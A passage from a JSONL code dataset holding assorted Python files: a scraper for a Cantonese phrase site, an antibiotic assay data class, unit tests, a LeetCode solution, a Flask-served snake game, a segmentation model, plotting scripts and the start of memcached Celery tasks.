content_list[2].strip()\n else :\n res['普通话'] = \"\"\n resouce_list.append(res)\n return resouce_list, title\n\ndef main():\n current_path = os.path.dirname(os.path.abspath(__file__))\n output_path = os.path.join(current_path, '..', 'download_data', 'fyan8.com', '1')\n # 列表页\n need_topic = ['rwenhou', 'rhanxuan', 'rjieshao', 'rxunwen', 'rqingqiu', 'rganxie', 'rdaoqian', 'ryaoqing', 'rlvyou', ]\n need_topic_url = 'http://www.fyan8.com/{}.htm'\n print('需要下载的topic 数量:', len(need_topic))\n\n for idx, topic in enumerate(need_topic):\n resource, title = get_page_resource(need_topic_url.format(topic))\n\n data_df = pd.DataFrame(columns=['粤语', '普通话'])\n for _idx, res in enumerate(resource):\n data_df.loc[_idx] = [res['粤语'], res['普通话']]\n # data_df.loc[idx] = res.values()\n # 保存\n data_df.to_excel(os.path.join(output_path, title+'.xlsx'), index=False)\n print('{}. 下载完毕:{}'.format(idx, title))\n # debug\n # break\n\n\nif __name__ == '__main__' :\n main()","sub_path":"download/fyan8.com_1.py","file_name":"fyan8.com_1.py","file_ext":"py","file_size_in_byte":1931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"366240023","text":"from typing import List\n\nimport pandas\n\nfrom algorithm_webservice.accession_entities.control_value import ControlValue\nfrom algorithm_webservice.accession_entities.measurement_value import MeasurementValue\n\n\nclass Measurement(object):\n\n def __init__(self, ControlValues: List[ControlValue], Created: str, DetectorId: int, DetectorName: str, Id: int,\n MeasurementValues: List[MeasurementValue], ModeId: int, PlateId: int):\n self.control_values = ControlValues\n self.date_created = Created\n self.detector_id = DetectorId\n self.detector_name = DetectorName\n self.measurement_id = Id\n self.well_data = MeasurementValues\n self.measurement_modality_id = ModeId\n self.plate_id = PlateId\n\n def get_antibiotic_ids(self):\n set_of_ids = set()\n\n for well in self.well_data:\n set_of_ids.add(well.antibiotic_id)\n\n return set_of_ids\n\n def antibiotic_and_detector_matches(self, detector_ids: List[int], antibiotic_id: int):\n \"\"\"return measurements that match the given antibiotic and detector ids\"\"\"\n\n if self.detector_id not in detector_ids:\n # return Measurement(self.control_values, self.date_created, self.detector_id, self.detector_name,\n # self.measurement_id, None, self.measurement_modality_id,\n # self.plate_id)\n return None\n\n valid_measurements = [measurement for measurement in self.well_data if\n measurement.matches_desired_antibiotic(antibiotic_id)]\n\n return Measurement(self.control_values, self.date_created, self.detector_id, self.detector_name,\n self.measurement_id, valid_measurements, self.measurement_modality_id,\n self.plate_id) # if valid_measurements else None\n\n def combine_data_for_descriptive_data_frame(self, many_col: bool):\n \"\"\"combine data of measurement values and control values into one data frame\"\"\"\n m_values, ab_ids, ab_name, ab_conc = self._get_values_from_well_data()\n\n m_value_name = self._compute_detector_prepended_name('Value', many_col)\n m_value_normal_name = self._compute_detector_prepended_name('Normalized_Value', many_col)\n\n controls, mhb, sal = self.compute_average_control_values_for_data_frame(many_col)\n m_values_normal = self.normalize_data(mhb, sal, m_values)\n\n value_dict = {'Plate_ID': self.plate_id,\n 'Ab_Name': ab_name,\n 'Ab_ID': ab_ids,\n 'Conc': ab_conc,\n m_value_name: m_values,\n m_value_normal_name: m_values_normal}\n\n if not many_col:\n value_dict['Detector_ID'] = self.detector_id\n value_dict['Detector_Name'] = self.detector_name\n\n complete_dict = {**value_dict, **controls}\n\n data_frame = pandas.DataFrame(complete_dict)\n\n return data_frame\n\n @staticmethod\n def normalize_data(mhb, sal, measurements):\n \"\"\"Normalize the assay data onto the [-0.5, 0.5] scale\"\"\"\n mhb_to_use = mhb\n\n if None in (sal, mhb):\n return None\n\n # if sal > mhb:\n # return None\n\n if (sal > mhb) and (sal < max(measurements)):\n mhb_to_use = max(measurements)\n\n normalized_data = []\n divisor = mhb_to_use - sal\n\n for measurement in measurements:\n if measurement > mhb_to_use:\n measurement = mhb_to_use\n if measurement < sal:\n measurement = sal\n measurement = (measurement - sal) / divisor - 0.5\n normalized_data.append(measurement)\n\n return normalized_data\n\n def combine_data_for_algorithmic_data_frame(self):\n \"\"\"Combines the data into a data frame that works with the algorithm code\"\"\"\n m_values, ab_ids, ab_name, ab_conc = self._get_values_from_well_data()\n mhb, sal, gc_ratio = self.get_average_control_values()\n m_values = self.normalize_data(mhb, sal, m_values)\n\n value_dict = {'Conc': ab_conc,\n 'Ab_ID': ab_ids,\n 'Normalized_Data': m_values,\n 'GC_Ratio': gc_ratio,\n 'Detector_ID': self.detector_id,\n 'Detector_Name': self.detector_name,\n 'Plate_ID': self.plate_id}\n\n return pandas.DataFrame(value_dict)\n\n def _get_values_from_well_data(self):\n m_values = [measure.value for measure in self.well_data]\n ab_ids = [measure.antibiotic_id for measure in self.well_data]\n ab_name = [measure.antibiotic_name for measure in self.well_data]\n ab_conc = [measure.concentration for measure in self.well_data]\n\n return m_values, ab_ids, ab_name, ab_conc\n\n def get_average_control_values(self):\n control_values = {}\n mhb, sal, gc_ratio = None, None, None\n # Keep a moving average of each value by keeping track of components\n for control in self.control_values:\n\n control_name = control.control_well_name\n\n if control_name in control_values:\n value_number_pair = control_values[control_name]\n average = ((value_number_pair[0] * value_number_pair[1]) + control.value) / (value_number_pair[0] + 1)\n control_values[control_name] = (value_number_pair[0] + 1, average)\n else:\n control_values[control_name] = (1, control.value)\n # Discard the count\n control_values = {name: control_values[name][1] for name in control_values}\n\n if 'MHB' in control_values:\n mhb = control_values['MHB']\n\n if 'SAL' in control_values:\n sal = control_values['SAL']\n\n if self.detector_name in ('Alamar Blue', 'None'):\n gc_ratio = self.compute_growth_check_ratio('GC-BG', 'GC-POS', control_values)\n\n return mhb, sal, gc_ratio\n\n def compute_average_control_values_for_data_frame(self, many_col: bool):\n \"\"\"Computes the average value of each control well\"\"\"\n mhb, sal, gc_ratio = self.get_average_control_values()\n\n mhb_name = self._compute_detector_prepended_name('MHB', many_col)\n sal_name = self._compute_detector_prepended_name('SAL', many_col)\n\n control_wells = {}\n\n if gc_ratio is not None:\n gcr_name = self._compute_detector_prepended_name('GC_Ratio', many_col)\n control_wells = {mhb_name: mhb, sal_name: sal, gcr_name: gc_ratio}\n else:\n control_wells = {mhb_name: mhb, sal_name: sal}\n\n return control_wells, mhb, sal\n\n def _compute_detector_prepended_name(self, name, many_col: bool = False):\n \"\"\"method used to create columns with names of detectors\"\"\"\n return self.detector_name + '-' + name if many_col else name\n\n @staticmethod\n def compute_growth_check_ratio(background_name, pos_name, values_dict):\n \"\"\"method used to compute the growth check based on available values\"\"\"\n if all(gc_well in values_dict for gc_well in (background_name, pos_name)):\n return values_dict[pos_name] / values_dict[background_name]\n else:\n return None\n","sub_path":"algorithm development/algorithm_webservice/accession_entities/measurement.py","file_name":"measurement.py","file_ext":"py","file_size_in_byte":7266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"548262480","text":"from test.unit_tests.providers import common\nfrom test.unit_tests.providers.common import ProviderTestCase\nfrom totalimpact.providers.provider import Provider, ProviderContentMalformedError\nfrom totalimpact.api import app\n\nimport os\nimport collections\nfrom nose.tools import assert_equals, raises\n\ndatadir = os.path.join(os.path.split(__file__)[0], \"../../../extras/sample_provider_pages/mendeley\")\nSAMPLE_EXTRACT_METRICS_PAGE = os.path.join(datadir, \"metrics\")\nSAMPLE_EXTRACT_ALIASES_PAGE = os.path.join(datadir, \"aliases\")\nSAMPLE_EXTRACT_BIBLIO_PAGE = os.path.join(datadir, \"biblio\")\n\nTEST_DOI = \"10.1371/journal.pcbi.1000361\"\n\nclass TestMendeley(ProviderTestCase):\n\n provider_name = \"mendeley\"\n\n testitem_aliases = (\"doi\", TEST_DOI)\n testitem_metrics = (\"doi\", TEST_DOI)\n testitem_biblio = (\"doi\", TEST_DOI)\n\n def setUp(self):\n ProviderTestCase.setUp(self)\n\n def test_is_relevant_alias(self):\n # ensure that it matches an appropriate ids\n assert_equals(self.provider.is_relevant_alias(self.testitem_aliases), True)\n\n assert_equals(self.provider.is_relevant_alias((\"github\", \"egonw,cdk\")), False)\n \n def test_extract_biblio(self):\n f = open(SAMPLE_EXTRACT_BIBLIO_PAGE, \"r\")\n ret = self.provider._extract_biblio(f.read())\n assert_equals(ret, {'authors': u'Shotton, Portwin, Klyne, Miles', 'journal': u'PLoS Computational Biology', 'year': 2009, 'title': u'Adventures in Semantic Publishing: Exemplar Semantic Enhancements of a Research Article'})\n\n def test_extract_aliases(self):\n # ensure that the dryad reader can interpret an xml doc appropriately\n f = open(SAMPLE_EXTRACT_ALIASES_PAGE, \"r\")\n aliases = self.provider._extract_aliases(f.read())\n assert_equals(aliases, [('url', u'http://dx.doi.org/10.1371/journal.pcbi.1000361'), ('title', u'Adventures in Semantic Publishing: Exemplar Semantic Enhancements of a Research Article')]) \n\n def test_extract_metrics_success(self):\n f = open(SAMPLE_EXTRACT_METRICS_PAGE, \"r\")\n metrics_dict = self.provider._extract_metrics(f.read())\n assert_equals(metrics_dict[\"mendeley:readers\"], 50)\n assert_equals(metrics_dict[\"mendeley:groups\"], 4)\n\n def test_provenance_url(self):\n provenance_url = self.provider.provenance_url(\"readers\", \n [self.testitem_aliases])\n assert_equals(provenance_url, u'http://api.mendeley.com/research/snps-prescriptions-predict-drug-response/')\n\n","sub_path":"test/unit_tests/providers/test_mendeley.py","file_name":"test_mendeley.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"631881245","text":"from typing import List\n\nclass Solution:\n def minSubArrayLen(self, s: int, nums: List[int]) -> int:\n # two pointers. O(n)\n # start from left. and keep track of sum\n # since sum is non decreasing, as soon as a window extends to cover s,\n # shrink left window. \n if not nums:\n return 0\n l = r = 0\n sum = 0\n best = float('inf')\n while r < len(nums):\n sum += nums[r]\n while sum >= s:\n best = min(best, r - l + 1)\n sum -= nums[l]\n l += 1\n r += 1\n return best if best != float('inf') else 0\n\n\n\n # brute force but better.\n # N2\n # best = None\n # for l in range(len(nums)):\n # currentSum = 0\n # for r in range(l,len(nums)):\n # currentSum += nums[r]\n # if currentSum >= s:\n # if not best:\n # best = r - l + 1\n # else:\n # best = min(best, r - l + 1)\n # return best if best is not None else 0\n\n\ns = 7\nnums = [2,3,1,2,4,3]\nprint(Solution().minSubArrayLen(s,nums))\n","sub_path":"209. Minimum Size Subarray Sum.py","file_name":"209. Minimum Size Subarray Sum.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"558312195","text":"#!/usr/bin/env python3\n# author : Andrew Smith\n# date : 120220 @ 00:44\n# file : analyze.py\n# description : base script along with plotting fig 1\nimport sys\nfrom tqdm import tqdm\nfrom Bio import AlignIO\nimport matplotlib.pyplot as plt\nif(len(sys.argv)!=2):\n print(\"Usage : ./analyze.py \")\n sys.exit()\n\ninfile = sys.argv[1]\nalignment = AlignIO.read(infile,\"fasta\")\nparent = alignment._records[0]\n\nnum_muts = []\nperc_muts = []\nfor i in tqdm(range(len(parent.seq))):\n num_muts.append(0)\n for record in alignment._records[1:]:\n if(parent.seq[i]!=record.seq[i]):\n num_muts[i]+=1\n perc_muts.append(num_muts[i]/len(alignment._records[1:])*100)\nsnps = [i for i,perc_mut in enumerate(perc_muts) if perc_mut>5]\n## Fig 1\nplt.ylabel(\"Percentage Mutation\")\nplt.xlabel(\"Residue\")\nplt.axhline(5,color=\"r\",linestyle=\"--\")\nplt.plot(perc_muts)\nplt.savefig(\"fig1.jpg\",dpi=100,bbox_inches='tight')\nplt.show()\n","sub_path":"msa/fig1.py","file_name":"fig1.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"27161717","text":"\"\"\"\nExample code loading and animating sprites from a .png sheet.\n\"\"\"\nimport pygame\nimport os\n\nfrom pygame_anisprite import anisprite\n\nprint(__debug__)\nsheet = \"sheet.png\"\nimage_path = os.path.abspath(sheet)\n\npygame.init()\nscreen = pygame.display.set_mode([700, 500])\nclock = pygame.time.Clock()\ndone = False\n\n# Create the AnimatedSprite object from the test GIF file.\n# Total animation duration is 1 second.\nanimsprite = anisprite.AnimatedSprite.from_sheet(image_path, 16, 16, duration=1000)\n\nwhile not done:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n\n screen.blit(animsprite.image, (10, 10))\n animsprite.update(clock.get_time())\n pygame.display.flip()\n # run at 60 FPS\n clock.tick(60)\n\npygame.quit()\n","sub_path":"docs/example_sheet.py","file_name":"example_sheet.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"434294014","text":"from flask import Flask, send_file, Response, request, stream_with_context, make_response, render_template, jsonify\nimport zipfile\nfrom math import fabs\nfrom zipfile import ZipFile, ZIP_DEFLATED, ZipInfo\nimport numpy as np\nimport cv2 as cv\nimport io\nimport sys\nimport os\nimport random\nfrom threading import Thread\nimport json\ndef collision_with_apple(apple_position, score, arr):\n a = random.randint(0, len(arr) - 1)\n b = random.randint(0, len(arr[a]) - 1)\n apple_position = arr[a][b]\n score += 1\n return [b, a], apple_position, score\n\ndef collision_with_boundaries(snake_head, boundaries):\n for i in boundaries:\n if snake_head[0] > i[0] and snake_head[0] <= i[0] + 19 and snake_head[1] > i[1] and snake_head[1] <= i[1] + 19:\n return 1\n return 0\n\n\ndef collision_with_self(snake_position):\n snake_head = snake_position[0]\n if snake_head in snake_position[1:]:\n return 1\n else:\n return 0\n\napp = Flask(__name__)\napp.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0\nos.environ[\"SDL_VIDEO_CENTERED\"] = '1'\nimg = np.zeros((1920, 1440, 3), np.uint8)\nscore = 0\nprev_button_direction = 1\nbutton_direction = 1\narr = []\nfor i in range(0, 1440, 20):\n b = []\n for j in range(0, 1920, 20):\n if i < 480 and j < 480 or i < 480 and j > 920 or i > 920 and j < 480 or i > 920 and j > 920:\n continue\n else:\n b.append([i, j])\n arr.append(b)\na = random.randint(0, len(arr) - 1)\nb = random.randint(0, len(arr[a]) - 1)\nsnake_head = arr[a][b]\nsnake_position = []\nfor i in range(3):\n snake_position.append([snake_head[0], snake_head[1] + i * 10])\nboundaries = []\nfor i in range(100):\n a = random.randint(0, len(arr) - 1)\n b = random.randint(0, len(arr[a]) - 1)\n check = True\n for j in snake_position:\n if arr[a][b][0] >= j[0] - 41 and arr[a][b][0] <= j[0] + 41 and arr[a][b][1] >= j[1] - 41 and arr[a][b][1] <= j[1] + 41:\n check = False\n break\n if check:\n boundaries.append(arr[a][b])\na = random.choice(arr)\nb = random.choice(a)\na = random.randint(0, len(arr) - 1)\nb = random.randint(0, len(arr[a]) - 1)\napple_position = arr[a][b]\ncheck = True\n@app.route('/zip', methods=['GET', 'POST'])\ndef zip():\n global check\n if request.method == 'POST' and not check:\n data = request.json['modules'][0]['accel']\n global button_direction\n x = float(data[0].replace(',', '.'))\n y = float(data[1].replace(',', '.'))\n z = float(data[2].replace(',', '.'))\n if x > -5 and x < 5:\n if y > -5 and y < 5 and z > 5:\n if fabs(x) > fabs(y):\n if x > 0:\n button_direction = 3\n else:\n button_direction = 2\n else:\n if y > 0:\n button_direction = 0\n else:\n button_direction = 1\n elif y > -5 and y < 5 and z < -5:\n if fabs(x) > fabs(y):\n if x > 0:\n button_direction = 2\n else:\n button_direction = 3\n else:\n if y > 0:\n button_direction = 0\n else:\n button_direction = 1\n elif y > 5 and z > -5 and z < 5:\n if fabs(x) > fabs(y - 10):\n if x > 0:\n button_direction = 0\n else:\n button_direction = 1\n else:\n if z > 0:\n button_direction = 3\n else:\n button_direction = 2\n elif y < -5 and z > -5 and z < 5:\n if fabs(x) > fabs(y + 10):\n if x > 0:\n button_direction = 1\n else:\n button_direction = 0\n else:\n if z > 0:\n button_direction = 3\n else:\n button_direction = 2\n else:\n if x >= 5:\n if fabs(x - 10) > fabs(y):\n if z > 0:\n button_direction = 2\n else:\n button_direction = 3\n else:\n if y > 0:\n button_direction = 0\n else:\n button_direction = 1\n else:\n if fabs(x+10) > fabs(y):\n if z > 0:\n button_direction = 3\n else:\n button_direction = 2\n else:\n if y > 0:\n button_direction = 0\n else:\n button_direction = 1\n\n check = True\n return json.dumps(request.json)\n global img\n output_img = cv.rotate(img, cv.ROTATE_90_COUNTERCLOCKWISE)\n\n encode_param = []\n retval, buffer = cv.imencode('.bmp', output_img, encode_param)\n\n img_io = io.BytesIO()\n with ZipFile(img_io, \"w\") as zip_file:\n zip_info = ZipInfo(\"cubenet.bmp\")\n zip_info.compress_type = zipfile.ZIP_DEFLATED\n zip_info.compress_size = 1\n zip_file.writestr(zip_info, buffer)\n img_io.seek(0)\n response = make_response(img_io.read())\n response.headers['Content-Type'] = 'application/zip'\n check = False\n return response\n\n\nspeed = 1500000\nclass MyThread(Thread):\n\n def __init__(self):\n Thread.__init__(self)\n\n def run(self):\n c = 0\n global speed\n while True:\n if c > speed:\n global img, apple_position, snake_head, snake_position, score, boundaries, button_direction, prev_button_direction, arr\n img = np.zeros((1920, 1440, 3), np.uint8)\n # Display Apple\n cv.rectangle(img, (apple_position[0], apple_position[1]), (apple_position[0] + 20, apple_position[1] + 20),\n (0, 0, 255), -1)\n # Display Snake\n for position in snake_position:\n cv.rectangle(img, (position[0], position[1]), (position[0] + 20, position[1] + 20), (0, 255, 0), -1)\n for position in boundaries:\n cv.rectangle(img, (position[0], position[1]), (position[0] + 20, position[1] + 20), (255, 0, 0), -1)\n\n # 0-Left, 1-Right, 3-Up, 2-Down, q-Break\n # a-Left, d-Right, w-Up, s-Down\n\n prev_button_direction = button_direction\n # Change the head position based on the button direction\n if button_direction == 1:\n snake_head[0] += 20\n if snake_head[0] > 960 and snake_head[1] < 480:\n snake_head = [1440 - snake_head[1], 480]\n button_direction = 2\n elif snake_head[0] > 1440 and 960 >= snake_head[1] > 480:\n snake_head = [960, 2400 - snake_head[1]]\n button_direction = 0\n elif snake_head[0] > 960 and 1440 > snake_head[1] > 960:\n snake_head = [snake_head[1], 960]\n button_direction = 3\n elif snake_head[0] > 960 and 1920 > snake_head[1] > 1440:\n snake_head = [1440, 2400 - snake_head[1]]\n button_direction = 0\n elif button_direction == 0:\n snake_head[0] -= 20\n if snake_head[0] < 480 and snake_head[1] < 480:\n snake_head = [snake_head[1], 480]\n button_direction = 2\n elif snake_head[0] < 0 and 960 >= snake_head[1] > 480:\n snake_head = [480, 2400 - snake_head[1]]\n button_direction = 1\n elif snake_head[0] < 480 and 1440 > snake_head[1] > 960:\n snake_head = [1440 - snake_head[1], 960]\n button_direction = 3\n elif snake_head[0] < 480 and 1920 > snake_head[1] > 1440:\n snake_head = [0, 2400 - snake_head[1]]\n button_direction = 1\n elif button_direction == 2:\n snake_head[1] += 20\n if snake_head[1] > 960 and snake_head[0] < 480:\n snake_head = [480, 1440 - snake_head[0]]\n button_direction = 1\n elif snake_head[1] > 960 and snake_head[0] > 960:\n print(snake_head)\n snake_head = [960, snake_head[0]]\n button_direction = 0\n elif button_direction == 3:\n snake_head[1] -= 20\n if snake_head[1] < 480 and snake_head[0] < 480:\n snake_head = [480, snake_head[0]]\n button_direction = 1\n elif snake_head[1] < 480 and snake_head[0] > 960:\n snake_head = [960, 1440 - snake_head[0]]\n button_direction = 0\n snake_head[1] %= 1920\n\n # Increase Snake length on eating apple\n if snake_head[0] >= apple_position[0] and snake_head[0] <= apple_position[0] + 20 and snake_head[1] >= \\\n apple_position[1] and snake_head[1] <= apple_position[1] + 20:\n speed //= 2\n end, apple_position, score = collision_with_apple(apple_position, score, arr)\n snake_position.insert(0, list(snake_head))\n\n else:\n snake_position.insert(0, list(snake_head))\n snake_position.pop()\n\n # On collision kill the snake and print the score\n if collision_with_boundaries(snake_head, boundaries) == 1 or collision_with_self(snake_position) == 1:\n print(\"DIE\")\n\n c = 0\n c += 1\n\n\ndef create_threads():\n my_thread = MyThread()\n my_thread.start()\n\n\ncreate_threads()\napp.run(port=\"5000\")\n","sub_path":"snake/snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":10271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"165879749","text":"\"\"\"\n Welcome to PoMs-MC (Positron Microphysics Monte Carlo): A Monte Carlo positron annihilation spectrum calculator for generalized positron transport\n \n Created by Fiona H. Panther, Australian National University\n Collaborators: Roland M. Crocker, Ivo Seitenzahl, Ashley Ruiter\n \"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n#\n# import reaction rates\n#\n\narr_df = np.loadtxt(\"rates_data/rate_dfree.txt\",skiprows=0)\narr_hcx = np.loadtxt(\"rates_data/rate_hcx.txt\",skiprows=0)\narr_hdb = np.loadtxt(\"rates_data/rate_hdab.txt\",skiprows=0)\narr_hedb = np.loadtxt(\"rates_data/rate_hedab.txt\",skiprows=0)\narr_rr = np.loadtxt(\"rates_data/rate_rr.txt\",skiprows=0)\n\nplt.figure\nplt.plot(np.log10(arr_df[:,1]),np.log10(arr_df[:,0]), 'r-' ,lw = 2, label = 'Direct free')\nplt.plot(np.log10(arr_hcx[:,1]), np.log10(arr_hcx[:,0]), 'b--',lw = 2, label = 'Charge exchange w/ H')\nplt.plot(np.log10(arr_hdb[:,0]), np.log10(arr_hdb[:,1]), 'c:', lw = 2, label = 'Direct bound H')\nplt.plot(np.log10(arr_hedb[:,0]), np.log10(arr_hedb[:,1]), 'y-', lw = 2, label = 'Direct bound He')\nplt.plot(np.log10(arr_rr[:,0]), np.log10(arr_rr[:,1]), 'g-', lw = 2, label = 'Direct bound H')\nplt.title(\"reaction rates/target density\")\nplt.xlabel(\"log(T/K)\")\nplt.ylabel(\"log($\\mathrm{cm}^3$/$\\mathrm{s}$)\")\nplt.legend(loc = 'best')\nplt.xlim([2,8])\nplt.show()","sub_path":"rates.py","file_name":"rates.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"649503508","text":"\nMESSAGES = {\n \"Test\": \"Hello World\"\n}\n\n\ndef find_item(obj, key):\n \"\"\"\n To find an item in a dictionary object, may become handy in future\n :param obj: dict object\n :param key: key to find\n :return: returns item\n \"\"\"\n if key in obj:\n return obj[key]\n for k, v in obj.items():\n if isinstance(v, dict):\n item = find_item(v, key)\n if item is not None:\n return item\n","sub_path":"server/app/models/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"564360029","text":"\"\"\"Decoders Matter for Semantic Segmentation\"\"\"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom .segbase import SegBaseModel\nfrom .model_zoo import MODEL_REGISTRY\nfrom .fcn import _FCNHead\nfrom ..config import cfg\n\n__all__ = ['DUNetV2Nearest']\n\n\n@MODEL_REGISTRY.register()\nclass DUNetV2Nearest(SegBaseModel):\n \"\"\"Decoders Matter for Semantic Segmentation\n Reference:\n Zhi Tian, Tong He, Chunhua Shen, and Youliang Yan.\n \"Decoders Matter for Semantic Segmentation:\n Data-Dependent Decoding Enables Flexible Feature Aggregation.\" CVPR, 2019\n \"\"\"\n\n def __init__(self):\n super(DUNetV2Nearest, self).__init__()\n self.head = _DUHead(2144, norm_layer=self.norm_layer)\n self.dupsample = DUpsampling(256, 8, scale_factor=2)\n self.head2 = _DUHead(2144, norm_layer=self.norm_layer)\n self.dupsample2 = DUpsampling(256, 14, scale_factor=2)\n\n if self.aux:\n self.auxlayer = _FCNHead(1024, 256, norm_layer=self.norm_layer)\n self.aux_dupsample = DUpsampling(256, 8, scale_factor=2)\n self.auxlayer2 = _FCNHead(1024, 256, norm_layer=self.norm_layer)\n self.aux_dupsample2 = DUpsampling(256, 14, scale_factor=2)\n \n self.supervise_size = int(cfg.TRAIN.SUPERVISE_SIZE)\n\n self.__setattr__('decoder', ['head', 'dupsample', 'head2', 'dupsample2', 'auxlayer', 'aux_dupsample', 'auxlayer2', 'aux_dupsample2']\n if self.aux else ['dupsample', 'dupsample2', 'head'])\n \n def forward(self, x):\n size = (self.supervise_size, self.supervise_size)\n _, c2, c3, c4 = self.encoder(x)\n \n outputs1, outputs2 = list(), list()\n x1 = self.head(c2, c3, c4)\n x1 = self.dupsample(x1)\n \n x2 = self.head2(c2, c3, c4)\n x2 = self.dupsample2(x2)\n\n x1 = F.interpolate(x1, size, mode='nearest')\n x2 = F.interpolate(x2, size, mode='nearest')\n outputs1.append(x1)\n outputs2.append(x2)\n\n if self.aux and self.training:\n auxout1 = self.auxlayer(c3)\n auxout1 = self.aux_dupsample(auxout1)\n auxout1 = F.interpolate(auxout1, size, mode='nearest')\n\n auxout2 = self.auxlayer2(c3)\n auxout2 = self.aux_dupsample2(auxout2)\n auxout2 = F.interpolate(auxout2, size, mode='nearest')\n\n outputs1.append(auxout1)\n outputs2.append(auxout2)\n\n return tuple([outputs1, outputs2]) # 8/14\n\n def split_v2(self, x):\n x = torch.split(x, 1, dim=1)\n x = [x[0], x[1], x[2], x[7], x[7],\n x[3], x[3], x[4], x[4],\n x[5], x[5], x[6], x[6], x[7]]\n input = torch.cat(x, dim=1)\n return input\n\n def forward_8_14_to_14_v2(self, x):\n c_, c2, c3, c4 = self.encoder(x)\n outputs = list()\n x1 = self.head(c2, c3, c4) # 256\n x1 = self.dupsample(x1) # 8\n x1 = F.softmax(x1, dim=1) # 8\n x1 = self.split_v2(x1) # 14\n \n x2 = self.head2(c2, c3, c4) # 256\n x2 = self.dupsample2(x2) # 14\n x2 = F.softmax(x2, dim=1) # 14\n x = x1 + x2\n outputs.append(x)\n return tuple(outputs)\n\nclass FeatureFused(nn.Module):\n \"\"\"Module for fused features\"\"\"\n\n def __init__(self, inter_channels=48, norm_layer=nn.BatchNorm2d):\n super(FeatureFused, self).__init__()\n self.conv2 = nn.Sequential(\n nn.Conv2d(512, inter_channels, 1, bias=False),\n norm_layer(inter_channels),\n nn.ReLU(True)\n )\n self.conv3 = nn.Sequential(\n nn.Conv2d(1024, inter_channels, 1, bias=False),\n norm_layer(inter_channels),\n nn.ReLU(True)\n )\n\n def forward(self, c2, c3, c4):\n size = c4.size()[2:]\n c2 = self.conv2(F.interpolate(c2, size, mode='nearest'))\n c3 = self.conv3(F.interpolate(c3, size, mode='nearest'))\n fused_feature = torch.cat([c4, c3, c2], dim=1)\n return fused_feature\n\n\nclass _DUHead(nn.Module):\n def __init__(self, in_channels, norm_layer=nn.BatchNorm2d):\n super(_DUHead, self).__init__()\n self.fuse = FeatureFused(norm_layer=norm_layer)\n self.block = nn.Sequential(\n nn.Conv2d(in_channels, 256, 3, padding=1, bias=False),\n norm_layer(256),\n nn.ReLU(True),\n nn.Conv2d(256, 256, 3, padding=1, bias=False),\n norm_layer(256),\n nn.ReLU(True)\n )\n\n def forward(self, c2, c3, c4):\n fused_feature = self.fuse(c2, c3, c4)\n out = self.block(fused_feature)\n return out\n\n\nclass DUpsampling(nn.Module):\n \"\"\"DUsampling module\"\"\"\n\n def __init__(self, in_channels, out_channels, scale_factor=2):\n super(DUpsampling, self).__init__()\n self.scale_factor = scale_factor\n self.conv_w = nn.Conv2d(in_channels, out_channels * scale_factor * scale_factor, 1, bias=False)\n\n def forward(self, x):\n x = self.conv_w(x)\n n, c, h, w = x.size()\n # N, C, H, W --> N, W, H, C\n x = x.permute(0, 3, 2, 1).contiguous()\n # N, W, H, C --> N, W, H * scale, C // scale\n x = x.view(n, w, h * self.scale_factor, c // self.scale_factor)\n # N, W, H * scale, C // scale --> N, H * scale, W, C // scale\n x = x.permute(0, 2, 1, 3).contiguous()\n # N, H * scale, W, C // scale --> N, H * scale, W * scale, C // (scale ** 2)\n x = x.view(n, h * self.scale_factor, w * self.scale_factor, c // (self.scale_factor * self.scale_factor))\n # N, H * scale, W * scale, C // (scale ** 2) -- > N, C // (scale ** 2), H * scale, W * scale\n x = x.permute(0, 3, 1, 2)\n\n return x\n","sub_path":"SegmenTron/segmentron/models/dunetv2_nearest.py","file_name":"dunetv2_nearest.py","file_ext":"py","file_size_in_byte":5720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"575755785","text":"##!/usr/bin/env python\n\n\"\"\"\n\nmemcached tasks \n\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom app.celery import celery\nimport random\nimport string\nimport sys\nimport copy\n\nfrom celery.utils.log import get_task_logger\nlogger = get_task_logger(__name__)\n\nimport json\nimport eventlet\nfrom random import randint\n\nimport testcfg as cfg\n\n###\nSDK_IP = '127.0.0.1'\nSDK_PORT = 50008\nSDK_PORT2 = 50009\n###\n\n\n\n@celery.task\ndef mset(keys, template, bucket = \"default\", isupdate = False, password = \"\"):\n\n # decode magic strings in template before sending to sdk\n # python pass-by-reference updates attribute in function\n rawTemplate = copy.deepcopy(template)\n decodeMajgicStrings(rawTemplate)\n\n message = {\"command\" : \"mset\",\n \"args\" : keys,\n \"template\" : rawTemplate,\n \"bucket\" : bucket,\n \"password\" : password}\n rc = _send_msg(message)\n\n return keys\n\n@celery.task\ndef mget(keys, bucket = \"default\", password = \"\"):\n message = {\"command\" : \"mget\",\n \"bucket\" : bucket,\n \"password\" : password,\n \"args\" : keys}\n return _send_msg(message)\n\n@celery.task\ndef set(key, value, bucket = \"default\", password = \"\"):\n message = {\"command\" : \"set\",\n \"bucket\" : bucket,\n \"password\" : password,\n \"args\" : [key, 0, 0, value]}\n return _send_msg(message)\n\n@celery.task\ndef get(key, bucket = \"default\", password = \"\"):\n\n message = {\"command\" : \"get\",\n \"bucket\" : 